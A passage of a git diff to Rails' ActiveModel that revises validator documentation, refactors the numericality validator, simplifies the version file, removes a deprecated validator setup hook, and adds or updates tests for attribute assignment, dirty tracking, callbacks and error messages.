+      def regexp_using_multiline_anchors?(regexp)
+        source = regexp.source
+        source.start_with?("^") || (source.end_with?("$") && !source.end_with?("\\$"))
       end
     end
 
     module HelperMethods
       # Validates whether the value of the specified attribute is of the correct
-      # form, going by the regular expression provided.You can require that the
+      # form, going by the regular expression provided. You can require that the
       # attribute matches the regular expression:
       #
       #   class Person < ActiveRecord::Base
@@ -89,10 +91,6 @@ module ActiveModel
       #
       # Configuration options:
       # * <tt>:message</tt> - A custom error message (default is: "is invalid").
-      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the
-      #   attribute is +nil+ (default is +false+).
-      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the
-      #   attribute is blank (default is +false+).
       # * <tt>:with</tt> - Regular expression that if the attribute matches will
       #   result in a successful validation. This can be provided as a proc or
       #   lambda returning regular expression which will be called at runtime.
@@ -105,7 +103,7 @@ module ActiveModel
       #   beginning or end of the string. These anchors are <tt>^</tt> and <tt>$</tt>.
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
       # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_format_of(*attr_names)
         validates_with FormatValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb
index 24337614c5..c84025f083 100644
--- a/activemodel/lib/active_model/validations/inclusion.rb
+++ b/activemodel/lib/active_model/validations/inclusion.rb
@@ -29,17 +29,14 @@ module ActiveModel
       # * <tt>:in</tt> - An enumerable object of available items. This can be
       #   supplied as a proc, lambda or symbol which returns an enumerable. If the
       #   enumerable is a numerical range the test is performed with <tt>Range#cover?</tt>,
-      #   otherwise with <tt>include?</tt>.
+      #   otherwise with <tt>include?</tt>. When using a proc or lambda the instance
+      #   under validation is passed as an argument.
       # * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt>
       # * <tt>:message</tt> - Specifies a custom error message (default is: "is
       #   not included in the list").
-      # * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the
-      #   attribute is +nil+ (default is +false+).
-      # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the
-      #   attribute is blank (default is +false+).
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
       # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_inclusion_of(*attr_names)
         validates_with InclusionValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/length.rb b/activemodel/lib/active_model/validations/length.rb
index ddfd8a342e..a96b30cadd 100644
--- a/activemodel/lib/active_model/validations/length.rb
+++ b/activemodel/lib/active_model/validations/length.rb
@@ -1,6 +1,6 @@
 module ActiveModel
 
-  # == Active \Model Length \Validator
+  # == Active \Model Length Validator
   module Validations
     class LengthValidator < EachValidator # :nodoc:
       MESSAGES  = { is: :wrong_length, minimum: :too_short, maximum: :too_long }.freeze
diff --git a/activemodel/lib/active_model/validations/numericality.rb b/activemodel/lib/active_model/validations/numericality.rb
index c6abe45f4a..4ba4e3e8f7 100644
--- a/activemodel/lib/active_model/validations/numericality.rb
+++ b/activemodel/lib/active_model/validations/numericality.rb
@@ -11,8 +11,9 @@ module ActiveModel
       def check_validity!
         keys = CHECKS.keys - [:odd, :even]
         options.slice(*keys).each do |option, value|
-          next if value.is_a?(Numeric) || value.is_a?(Proc) || value.is_a?(Symbol)
-          raise ArgumentError, ":#{option} must be a number, a symbol or a proc"
+          unless value.is_a?(Numeric) || value.is_a?(Proc) || value.is_a?(Symbol)
+            raise ArgumentError, ":#{option} must be a number, a symbol or a proc"
+          end
         end
       end
 
@@ -22,6 +23,10 @@ module ActiveModel
         raw_value = record.send(before_type_cast) if record.respond_to?(before_type_cast)
         raw_value ||= value
 
+        if record_attribute_changed_in_place?(record, attr_name)
+          raw_value = value
+        end
+
         return if options[:allow_nil] && raw_value.nil?
 
         unless value = parse_raw_value_as_a_number(raw_value)
@@ -29,7 +34,7 @@ module ActiveModel
           return
         end
 
-        if options[:only_integer]
+        if allow_only_integer?(record)
           unless value = parse_raw_value_as_an_integer(raw_value)
             record.errors.add(attr_name, :not_an_integer, filtered_options(raw_value))
             return
@@ -43,11 +48,15 @@ module ActiveModel
               record.errors.add(attr_name, option, filtered_options(value))
             end
           else
-            option_value = option_value.call(record) if option_value.is_a?(Proc)
-            option_value = record.send(option_value) if option_value.is_a?(Symbol)
+            case option_value
+            when Proc
+              option_value = option_value.call(record)
+            when Symbol
+              option_value = record.send(option_value)
+            end
 
             unless value.send(CHECKS[option], option_value)
-              record.errors.add(attr_name, option, filtered_options(value).merge(count: option_value))
+              record.errors.add(attr_name, option, filtered_options(value).merge!(count: option_value))
             end
           end
         end
@@ -56,24 +65,37 @@ module ActiveModel
     protected
 
       def parse_raw_value_as_a_number(raw_value)
-        case raw_value
-        when /\A0[xX]/
-          nil
-        else
-          begin
-            Kernel.Float(raw_value)
-          rescue ArgumentError, TypeError
-            nil
-          end
-        end
+        Kernel.Float(raw_value) if raw_value !~ /\A0[xX]/
+      rescue ArgumentError, TypeError
+        nil
       end
 
       def parse_raw_value_as_an_integer(raw_value)
-        raw_value.to_i if raw_value.to_s =~ /\A[+-]?\d+\Z/
+        raw_value.to_i if raw_value.to_s =~ /\A[+-]?\d+\z/
       end
 
       def filtered_options(value)
-        options.except(*RESERVED_OPTIONS).merge!(value: value)
+        filtered = options.except(*RESERVED_OPTIONS)
+        filtered[:value] = value
+        filtered
+      end
+
+      def allow_only_integer?(record)
+        case options[:only_integer]
+        when Symbol
+          record.send(options[:only_integer])
+        when Proc
+          options[:only_integer].call(record)
+        else
+          options[:only_integer]
+        end
+      end
+
+      private
+
+      def record_attribute_changed_in_place?(record, attr_name)
+        record.respond_to?(:attribute_changed_in_place?) &&
+          record.attribute_changed_in_place?(attr_name.to_s)
       end
     end
 
@@ -110,7 +132,7 @@ module ActiveModel
       # * <tt>:even</tt> - Specifies the value must be an even number.
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+ .
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+ .
       # See <tt>ActiveModel::Validation#validates</tt> for more information
       #
       # The following checks can also be supplied with a proc or a symbol which
@@ -121,6 +143,7 @@ module ActiveModel
       # * <tt>:equal_to</tt>
       # * <tt>:less_than</tt>
       # * <tt>:less_than_or_equal_to</tt>
+      # * <tt>:only_integer</tt>
       #
       # For example:
       #
diff --git a/activemodel/lib/active_model/validations/presence.rb b/activemodel/lib/active_model/validations/presence.rb
index ab8c8359fc..5d593274eb 100644
--- a/activemodel/lib/active_model/validations/presence.rb
+++ b/activemodel/lib/active_model/validations/presence.rb
@@ -29,7 +29,7 @@ module ActiveModel
       # * <tt>:message</tt> - A custom error message (default is: "can't be blank").
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
       # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_presence_of(*attr_names)
         validates_with PresenceValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb
index 9a1ff2ad39..bda436d8d0 100644
--- a/activemodel/lib/active_model/validations/validates.rb
+++ b/activemodel/lib/active_model/validations/validates.rb
@@ -13,7 +13,7 @@ module ActiveModel
       #   validates :terms, acceptance: true
       #   validates :password, confirmation: true
       #   validates :username, exclusion: { in: %w(admin superuser) }
-      #   validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i, on: :create }
+      #   validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i, on: :create }
       #   validates :age, inclusion: { in: 0..9 }
       #   validates :first_name, length: { maximum: 30 }
       #   validates :age, numericality: true
@@ -71,9 +71,11 @@ module ActiveModel
       #
       # There is also a list of options that could be used along with validators:
       #
-      # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
-      #   validation contexts by default (+nil+), other options are <tt>:create</tt>
-      #   and <tt>:update</tt>.
+      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+      #   Runs in all validation contexts by default (nil). You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>on: :create</tt> or
+      #   <tt>on: :custom_validation_context</tt> or
+      #   <tt>on: [:create, :custom_validation_context]</tt>)
       # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
       #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
       #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
@@ -83,7 +85,9 @@ module ActiveModel
       #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
       #   method, proc or string should return or evaluate to a +true+ or
       #   +false+ value.
-      # * <tt>:strict</tt> - if the <tt>:strict</tt> option is set to true
+      # * <tt>:allow_nil</tt> - Skip validation if the attribute is +nil+.
+      # * <tt>:allow_blank</tt> - Skip validation if the attribute is blank.
+      # * <tt>:strict</tt> - If the <tt>:strict</tt> option is set to true
       #   will raise ActiveModel::StrictValidationFailed instead of adding the error.
       #   <tt>:strict</tt> option can also be set to any other exception.
       #
diff --git a/activemodel/lib/active_model/validations/with.rb b/activemodel/lib/active_model/validations/with.rb
index 16bd6670d1..a2531327bf 100644
--- a/activemodel/lib/active_model/validations/with.rb
+++ b/activemodel/lib/active_model/validations/with.rb
@@ -52,8 +52,11 @@ module ActiveModel
       #   end
       #
       # Configuration options:
-      # * <tt>:on</tt> - Specifies when this validation is active
-      #   (<tt>:create</tt> or <tt>:update</tt>.
+      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+      #   Runs in all validation contexts by default (nil). You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>on: :create</tt> or
+      #   <tt>on: :custom_validation_context</tt> or
+      #   <tt>on: [:create, :custom_validation_context]</tt>)
       # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
       #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
       #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>).
@@ -139,6 +142,8 @@ module ActiveModel
     # class version of this method for more information.
     def validates_with(*args, &block)
       options = args.extract_options!
+      options[:class] = self.class
+
       args.each do |klass|
         validator = klass.new(options, &block)
         validator.validate(self)
diff --git a/activemodel/lib/active_model/validator.rb b/activemodel/lib/active_model/validator.rb
index 690856aee1..b98585912e 100644
--- a/activemodel/lib/active_model/validator.rb
+++ b/activemodel/lib/active_model/validator.rb
@@ -61,7 +61,7 @@ module ActiveModel
   #   end
   #
   # Note that the validator is initialized only once for the whole application
-  # lifecycle, and not on each validation run.
+  # life cycle, and not on each validation run.
   #
   # The easiest way to add custom validators for validating individual attributes
   # is with the convenient <tt>ActiveModel::EachValidator</tt>.
@@ -79,11 +79,11 @@ module ActiveModel
   #     include ActiveModel::Validations
   #     attr_accessor :title
   #
-  #     validates :title, presence: true
+  #     validates :title, presence: true, title: true
   #   end
   #
   # It can be useful to access the class that is using that validator when there are prerequisites such
-  # as an +attr_accessor+ being present. This class is accessable via +options[:class]+ in the constructor.
+  # as an +attr_accessor+ being present. This class is accessible via +options[:class]+ in the constructor.
   # To setup your validator override the constructor.
   #
   #   class MyValidator < ActiveModel::Validator
@@ -106,10 +106,9 @@ module ActiveModel
     # Accepts options that will be made available through the +options+ reader.
     def initialize(options = {})
       @options  = options.except(:class).freeze
-      deprecated_setup(options)
     end
 
-    # Return the kind for this validator.
+    # Returns the kind for this validator.
     #
     #   PresenceValidator.new.kind   # => :presence
     #   UniquenessValidator.new.kind # => :uniqueness
@@ -122,28 +121,13 @@ module ActiveModel
     def validate(record)
       raise NotImplementedError, "Subclasses must implement a validate(record) method."
     end
-
-    private
-    def deprecated_setup(options) # TODO: remove me in 4.2.
-      return unless respond_to?(:setup)
-      ActiveSupport::Deprecation.warn "The `Validator#setup` instance method is deprecated and will be removed on Rails 4.2. Do your setup in the constructor instead:
-
-class MyValidator < ActiveModel::Validator
-  def initialize(options={})
-    super
-    options[:class].send :attr_accessor, :custom_attribute
-  end
-end
-"
-      setup(options[:class])
-    end
   end
 
   # +EachValidator+ is a validator which iterates through the attributes given
   # in the options hash invoking the <tt>validate_each</tt> method passing in the
   # record, attribute and value.
   #
-  # All Active Model validations are built on top of this validator.
+  # All \Active \Model validations are built on top of this validator.
   class EachValidator < Validator #:nodoc:
     attr_reader :attributes
 
@@ -179,6 +163,10 @@ end
     # +ArgumentError+ when invalid options are supplied.
     def check_validity!
     end
+
+    def should_validate?(record) # :nodoc:
+      !record.persisted? || record.changed? || record.marked_for_destruction?
+    end
   end
 
   # +BlockValidator+ is a special +EachValidator+ which receives a block on initialization
diff --git a/activemodel/lib/active_model/version.rb b/activemodel/lib/active_model/version.rb
index 86340bba37..6da3b4117b 100644
--- a/activemodel/lib/active_model/version.rb
+++ b/activemodel/lib/active_model/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
 module ActiveModel
-  # Returns the version of the currently loaded ActiveModel as a Gem::Version
+  # Returns the version of the currently loaded \Active \Model as a <tt>Gem::Version</tt>
   def self.version
-    Gem::Version.new "4.1.0.beta"
-  end
-
-  module VERSION #:nodoc:
-    MAJOR, MINOR, TINY, PRE = ActiveModel.version.segments
-    STRING = ActiveModel.version.to_s
+    gem_version
   end
 end
diff --git a/activemodel/test/cases/attribute_assignment_test.rb b/activemodel/test/cases/attribute_assignment_test.rb
new file mode 100644
index 0000000000..402caf21f7
--- /dev/null
+++ b/activemodel/test/cases/attribute_assignment_test.rb
@@ -0,0 +1,107 @@
+require "cases/helper"
+require "active_support/hash_with_indifferent_access"
+
+class AttributeAssignmentTest < ActiveModel::TestCase
+  class Model
+    include ActiveModel::AttributeAssignment
+
+    attr_accessor :name, :description
+
+    def initialize(attributes = {})
+      assign_attributes(attributes)
+    end
+
+    def broken_attribute=(value)
+      raise ErrorFromAttributeWriter
+    end
+
+    protected
+
+    attr_writer :metadata
+  end
+
+  class ErrorFromAttributeWriter < StandardError
+  end
+
+  class ProtectedParams < ActiveSupport::HashWithIndifferentAccess
+    def permit!
+      @permitted = true
+    end
+
+    def permitted?
+      @permitted ||= false
+    end
+
+    def dup
+      super.tap do |duplicate|
+        duplicate.instance_variable_set :@permitted, permitted?
+      end
+    end
+  end
+
+  test "simple assignment" do
+    model = Model.new
+
+    model.assign_attributes(name: "hello", description: "world")
+    assert_equal "hello", model.name
+    assert_equal "world", model.description
+  end
+
+  test "assign non-existing attribute" do
+    model = Model.new
+    error = assert_raises(ActiveModel::AttributeAssignment::UnknownAttributeError) do
+      model.assign_attributes(hz: 1)
+    end
+
+    assert_equal model, error.record
+    assert_equal "hz", error.attribute
+  end
+
+  test "assign private attribute" do
+    model = Model.new
+    assert_raises(ActiveModel::AttributeAssignment::UnknownAttributeError) do
+      model.assign_attributes(metadata: { a: 1 })
+    end
+  end
+
+  test "does not swallow errors raised in an attribute writer" do
+    assert_raises(ErrorFromAttributeWriter) do
+      Model.new(broken_attribute: 1)
+    end
+  end
+
+  test "an ArgumentError is raised if a non-hash-like obejct is passed" do
+    assert_raises(ArgumentError) do
+      Model.new(1)
+    end
+  end
+
+  test "forbidden attributes cannot be used for mass assignment" do
+    params = ProtectedParams.new(name: "Guille", description: "m")
+
+    assert_raises(ActiveModel::ForbiddenAttributesError) do
+      Model.new(params)
+    end
+  end
+
+  test "permitted attributes can be used for mass assignment" do
+    params = ProtectedParams.new(name: "Guille", description: "desc")
+    params.permit!
+    model = Model.new(params)
+
+    assert_equal "Guille", model.name
+    assert_equal "desc", model.description
+  end
+
+  test "regular hash should still be used for mass assignment" do
+    model = Model.new(name: "Guille", description: "m")
+
+    assert_equal "Guille", model.name
+    assert_equal "m", model.description
+  end
+
+  test "assigning no attributes should not raise, even if the hash is un-permitted" do
+    model = Model.new
+    assert_nil model.assign_attributes(ProtectedParams.new({}))
+  end
+end
diff --git a/activemodel/test/cases/attribute_methods_test.rb b/activemodel/test/cases/attribute_methods_test.rb
index e9cb5ccc96..e81b7ac424 100644
--- a/activemodel/test/cases/attribute_methods_test.rb
+++ b/activemodel/test/cases/attribute_methods_test.rb
@@ -104,10 +104,14 @@ class AttributeMethodsTest < ActiveModel::TestCase
   end
 
   test '#define_attribute_method generates attribute method' do
-    ModelWithAttributes.define_attribute_method(:foo)
+    begin
+      ModelWithAttributes.define_attribute_method(:foo)
 
-    assert_respond_to ModelWithAttributes.new, :foo
-    assert_equal "value of foo", ModelWithAttributes.new.foo
+      assert_respond_to ModelWithAttributes.new, :foo
+      assert_equal "value of foo", ModelWithAttributes.new.foo
+    ensure
+      ModelWithAttributes.undefine_attribute_methods
+    end
   end
 
   test '#define_attribute_method does not generate attribute method if already defined in attribute module' do
@@ -134,24 +138,36 @@ class AttributeMethodsTest < ActiveModel::TestCase
   end
 
   test '#define_attribute_method generates attribute method with invalid identifier characters' do
-    ModelWithWeirdNamesAttributes.define_attribute_method(:'a?b')
+    begin
+      ModelWithWeirdNamesAttributes.define_attribute_method(:'a?b')
 
-    assert_respond_to ModelWithWeirdNamesAttributes.new, :'a?b'
-    assert_equal "value of a?b", ModelWithWeirdNamesAttributes.new.send('a?b')
+      assert_respond_to ModelWithWeirdNamesAttributes.new, :'a?b'
+      assert_equal "value of a?b", ModelWithWeirdNamesAttributes.new.send('a?b')
+    ensure
+      ModelWithWeirdNamesAttributes.undefine_attribute_methods
+    end
   end
 
   test '#define_attribute_methods works passing multiple arguments' do
-    ModelWithAttributes.define_attribute_methods(:foo, :baz)
+    begin
+      ModelWithAttributes.define_attribute_methods(:foo, :baz)
 
-    assert_equal "value of foo", ModelWithAttributes.new.foo
-    assert_equal "value of baz", ModelWithAttributes.new.baz
+      assert_equal "value of foo", ModelWithAttributes.new.foo
+      assert_equal "value of baz", ModelWithAttributes.new.baz
+    ensure
+      ModelWithAttributes.undefine_attribute_methods
+    end
   end
 
   test '#define_attribute_methods generates attribute methods' do
-    ModelWithAttributes.define_attribute_methods(:foo)
+    begin
+      ModelWithAttributes.define_attribute_methods(:foo)
 
-    assert_respond_to ModelWithAttributes.new, :foo
-    assert_equal "value of foo", ModelWithAttributes.new.foo
+      assert_respond_to ModelWithAttributes.new, :foo
+      assert_equal "value of foo", ModelWithAttributes.new.foo
+    ensure
+      ModelWithAttributes.undefine_attribute_methods
+    end
   end
 
   test '#alias_attribute generates attribute_aliases lookup hash' do
@@ -164,26 +180,38 @@ class AttributeMethodsTest < ActiveModel::TestCase
   end
 
   test '#define_attribute_methods generates attribute methods with spaces in their names' do
-    ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
+    begin
+      ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
 
-    assert_respond_to ModelWithAttributesWithSpaces.new, :'foo bar'
-    assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.send(:'foo bar')
+      assert_respond_to ModelWithAttributesWithSpaces.new, :'foo bar'
+      assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.send(:'foo bar')
+    ensure
+      ModelWithAttributesWithSpaces.undefine_attribute_methods
+    end
   end
 
   test '#alias_attribute works with attributes with spaces in their names' do
-    ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
-    ModelWithAttributesWithSpaces.alias_attribute(:'foo_bar', :'foo bar')
+    begin
+      ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
+      ModelWithAttributesWithSpaces.alias_attribute(:'foo_bar', :'foo bar')
 
-    assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.foo_bar
+      assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.foo_bar
+    ensure
+      ModelWithAttributesWithSpaces.undefine_attribute_methods
+    end
   end
 
   test '#alias_attribute works with attributes named as a ruby keyword' do
-    ModelWithRubyKeywordNamedAttributes.define_attribute_methods([:begin, :end])
-    ModelWithRubyKeywordNamedAttributes.alias_attribute(:from, :begin)
-    ModelWithRubyKeywordNamedAttributes.alias_attribute(:to, :end)
-
-    assert_equal "value of begin", ModelWithRubyKeywordNamedAttributes.new.from
-    assert_equal "value of end", ModelWithRubyKeywordNamedAttributes.new.to
+    begin
+      ModelWithRubyKeywordNamedAttributes.define_attribute_methods([:begin, :end])
+      ModelWithRubyKeywordNamedAttributes.alias_attribute(:from, :begin)
+      ModelWithRubyKeywordNamedAttributes.alias_attribute(:to, :end)
+
+      assert_equal "value of begin", ModelWithRubyKeywordNamedAttributes.new.from
+      assert_equal "value of end", ModelWithRubyKeywordNamedAttributes.new.to
+    ensure
+      ModelWithRubyKeywordNamedAttributes.undefine_attribute_methods
+    end
   end
 
   test '#undefine_attribute_methods removes attribute methods' do
diff --git a/activemodel/test/cases/callbacks_test.rb b/activemodel/test/cases/callbacks_test.rb
index 5fede098d1..85455c112c 100644
--- a/activemodel/test/cases/callbacks_test.rb
+++ b/activemodel/test/cases/callbacks_test.rb
@@ -7,6 +7,7 @@ class CallbacksTest < ActiveModel::TestCase
       model.callbacks << :before_around_create
       yield
       model.callbacks << :after_around_create
+      false
     end
   end
 
@@ -24,16 +25,22 @@ class CallbacksTest < ActiveModel::TestCase
 
     after_create do |model|
       model.callbacks << :after_create
+      false
     end
 
     after_create "@callbacks << :final_callback"
 
-    def initialize(valid=true)
-      @callbacks, @valid = [], valid
+    def initialize(options = {})
+      @callbacks = []
+      @valid = options[:valid]
+      @before_create_returns = options.fetch(:before_create_returns, true)
+      @before_create_throws = options[:before_create_throws]
     end
 
     def before_create
       @callbacks << :before_create
+      throw(@before_create_throws) if @before_create_throws
+      @before_create_returns
     end
 
     def create
@@ -51,14 +58,28 @@ class CallbacksTest < ActiveModel::TestCase
                                     :after_around_create, :after_create, :final_callback]
   end
 
-  test "after callbacks are always appended" do
+  test "the callback chain is not halted when around or after callbacks return false" do
     model = ModelCallbacks.new
     model.create
     assert_equal model.callbacks.last, :final_callback
   end
 
+  test "the callback chain is halted when a before callback returns false (deprecated)" do
+    model = ModelCallbacks.new(before_create_returns: false)
+    assert_deprecated do
+      model.create
+      assert_equal model.callbacks.last, :before_create
+    end
+  end
+
+  test "the callback chain is halted when a callback throws :abort" do
+    model = ModelCallbacks.new(before_create_throws: :abort)
+    model.create
+    assert_equal model.callbacks, [:before_create]
+  end
+
   test "after callbacks are not executed if the block returns false" do
-    model = ModelCallbacks.new(false)
+    model = ModelCallbacks.new(valid: false)
     model.create
     assert_equal model.callbacks, [ :before_create, :before_around_create,
                                     :create, :after_around_create]
diff --git a/activemodel/test/cases/conversion_test.rb b/activemodel/test/cases/conversion_test.rb
index 3bb177591d..800cad6d9a 100644
--- a/activemodel/test/cases/conversion_test.rb
+++ b/activemodel/test/cases/conversion_test.rb
@@ -24,6 +24,20 @@ class ConversionTest < ActiveModel::TestCase
     assert_equal "1", Contact.new(id: 1).to_param
   end
 
+  test "to_param returns the string joined by '-'" do
+    assert_equal "abc-xyz", Contact.new(id: ["abc", "xyz"]).to_param
+  end
+
+  test "to_param returns nil if to_key is nil" do
+    klass = Class.new(Contact) do
+      def persisted?
+        true
+      end
+    end
+
+    assert_nil klass.new.to_param
+  end
+
   test "to_partial_path default implementation returns a string giving a relative path" do
     assert_equal "contacts/contact", Contact.new.to_partial_path
     assert_equal "helicopters/helicopter", Helicopter.new.to_partial_path,
diff --git a/activemodel/test/cases/dirty_test.rb b/activemodel/test/cases/dirty_test.rb
index ba45089cca..66ed8a350a 100644
--- a/activemodel/test/cases/dirty_test.rb
+++ b/activemodel/test/cases/dirty_test.rb
@@ -3,11 +3,12 @@ require "cases/helper"
 class DirtyTest < ActiveModel::TestCase
   class DirtyModel
     include ActiveModel::Dirty
-    define_attribute_methods :name, :color
+    define_attribute_methods :name, :color, :size
 
     def initialize
       @name = nil
       @color = nil
+      @size = nil
     end
 
     def name
@@ -28,9 +29,21 @@ class DirtyTest < ActiveModel::TestCase
       @color = val
     end
 
+    def size
+      @size
+    end
+
+    def size=(val)
+      attribute_will_change!(:size) unless val == @size
+      @size = val
+    end
+
     def save
-      @previously_changed = changes
-      @changed_attributes.clear
+      changes_applied
+    end
+
+    def reload
+      clear_changes_information
     end
   end
 
@@ -58,12 +71,30 @@ class DirtyTest < ActiveModel::TestCase
     assert_equal [nil, "John"], @model.changes['name']
   end
 
+  test "checking if an attribute has changed to a particular value" do
+    @model.name = "Ringo"
+    assert @model.name_changed?(from: nil, to: "Ringo")
+    assert_not @model.name_changed?(from: "Pete", to: "Ringo")
+    assert @model.name_changed?(to: "Ringo")
+    assert_not @model.name_changed?(to: "Pete")
+    assert @model.name_changed?(from: nil)
+    assert_not @model.name_changed?(from: "Pete")
+  end
+
   test "changes accessible through both strings and symbols" do
     @model.name = "David"
     assert_not_nil @model.changes[:name]
     assert_not_nil @model.changes['name']
   end
 
+  test "be consistent with symbols arguments after the changes are applied" do
+    @model.name = "David"
+    assert @model.attribute_changed?(:name)
+    @model.save
+    @model.name = 'Rafael'
+    assert @model.attribute_changed?(:name)
+  end
+
   test "attribute mutation" do
     @model.instance_variable_set("@name", "Yam")
     assert !@model.name_changed?
@@ -76,7 +107,7 @@ class DirtyTest < ActiveModel::TestCase
 
   test "resetting attribute" do
     @model.name = "Bob"
-    @model.reset_name!
+    @model.restore_name!
     assert_nil @model.name
     assert !@model.name_changed?
   end
@@ -125,4 +156,52 @@ class DirtyTest < ActiveModel::TestCase
     assert_equal ["Otto", "Mr. Manfredgensonton"], @model.name_change
     assert_equal @model.name_was, "Otto"
   end
+
+  test "using attribute_will_change! with a symbol" do
+    @model.size = 1
+    assert @model.size_changed?
+  end
+
+  test "reload should reset all changes" do
+    @model.name = 'Dmitry'
+    @model.name_changed?
+    @model.save
+    @model.name = 'Bob'
+
+    assert_equal [nil, 'Dmitry'], @model.previous_changes['name']
+    assert_equal 'Dmitry', @model.changed_attributes['name']
+
+    @model.reload
+
+    assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.previous_changes
+    assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.changed_attributes
+  end
+
+  test "restore_attributes should restore all previous data" do
+    @model.name = 'Dmitry'
+    @model.color = 'Red'
+    @model.save
+    @model.name = 'Bob'
+    @model.color = 'White'
+
+    @model.restore_attributes
+
+    assert_not @model.changed?
+    assert_equal 'Dmitry', @model.name
+    assert_equal 'Red', @model.color
+  end
+
+  test "restore_attributes can restore only some attributes" do
+    @model.name = 'Dmitry'
+    @model.color = 'Red'
+    @model.save
+    @model.name = 'Bob'
+    @model.color = 'White'
+
+    @model.restore_attributes(['name'])
+
+    assert @model.changed?
+    assert_equal 'Dmitry', @model.name
+    assert_equal 'White', @model.color
+  end
 end
diff --git a/activemodel/test/cases/errors_test.rb b/activemodel/test/cases/errors_test.rb
index 4e07e0e00b..17dbb817d0 100644
--- a/activemodel/test/cases/errors_test.rb
+++ b/activemodel/test/cases/errors_test.rb
@@ -11,7 +11,7 @@ class ErrorsTest < ActiveModel::TestCase
     attr_reader   :errors
 
     def validate!
-      errors.add(:name, "can not be nil") if name == nil
+      errors.add(:name, "cannot be nil") if name == nil
     end
 
     def read_attribute_for_validation(attr)
@@ -51,7 +51,23 @@ class ErrorsTest < ActiveModel::TestCase
   def test_has_key?
     errors = ActiveModel::Errors.new(self)
     errors[:foo] = 'omg'
-    assert errors.has_key?(:foo), 'errors should have key :foo'
+    assert_equal true, errors.has_key?(:foo), 'errors should have key :foo'
+  end
+
+  def test_has_no_key
+    errors = ActiveModel::Errors.new(self)
+    assert_equal false, errors.has_key?(:name), 'errors should not have key :name'
+  end
+
+  def test_key?
+    errors = ActiveModel::Errors.new(self)
+    errors[:foo] = 'omg'
+    assert_equal true, errors.key?(:foo), 'errors should have key :foo'
+  end
+
+  def test_no_key
+    errors = ActiveModel::Errors.new(self)
+    assert_equal false, errors.key?(:name), 'errors should not have key :name'
   end
 
   test "clear errors" do
@@ -77,6 +93,13 @@ class ErrorsTest < ActiveModel::TestCase
     assert_equal({ foo: "omg" }, errors.messages)
   end
 
+  test "error access is indifferent" do
+    errors = ActiveModel::Errors.new(self)
+    errors[:foo] = "omg"
+
+    assert_equal ["omg"], errors["foo"]
+  end
+
   test "values returns an array of messages" do
     errors = ActiveModel::Errors.new(self)
     errors.set(:foo, "omg")
@@ -104,8 +127,8 @@ class ErrorsTest < ActiveModel::TestCase
   test "adding errors using conditionals with Person#validate!" do
     person = Person.new
     person.validate!
-    assert_equal ["name can not be nil"], person.errors.full_messages
-    assert_equal ["can not be nil"], person.errors[:name]
+    assert_equal ["name cannot be nil"], person.errors.full_messages
+    assert_equal ["cannot be nil"], person.errors[:name]
   end
 
   test "assign error" do
@@ -116,8 +139,8 @@ class ErrorsTest < ActiveModel::TestCase
 
   test "add an error message on a specific attribute" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
-    assert_equal ["can not be blank"], person.errors[:name]
+    person.errors.add(:name, "cannot be blank")
+    assert_equal ["cannot be blank"], person.errors[:name]
   end
 
   test "add an error with a symbol" do
@@ -129,15 +152,15 @@ class ErrorsTest < ActiveModel::TestCase
 
   test "add an error with a proc" do
     person = Person.new
-    message = Proc.new { "can not be blank" }
+    message = Proc.new { "cannot be blank" }
     person.errors.add(:name, message)
-    assert_equal ["can not be blank"], person.errors[:name]
+    assert_equal ["cannot be blank"], person.errors[:name]
   end
 
   test "added? detects if a specific error was added to the object" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
-    assert person.errors.added?(:name, "can not be blank")
+    person.errors.add(:name, "cannot be blank")
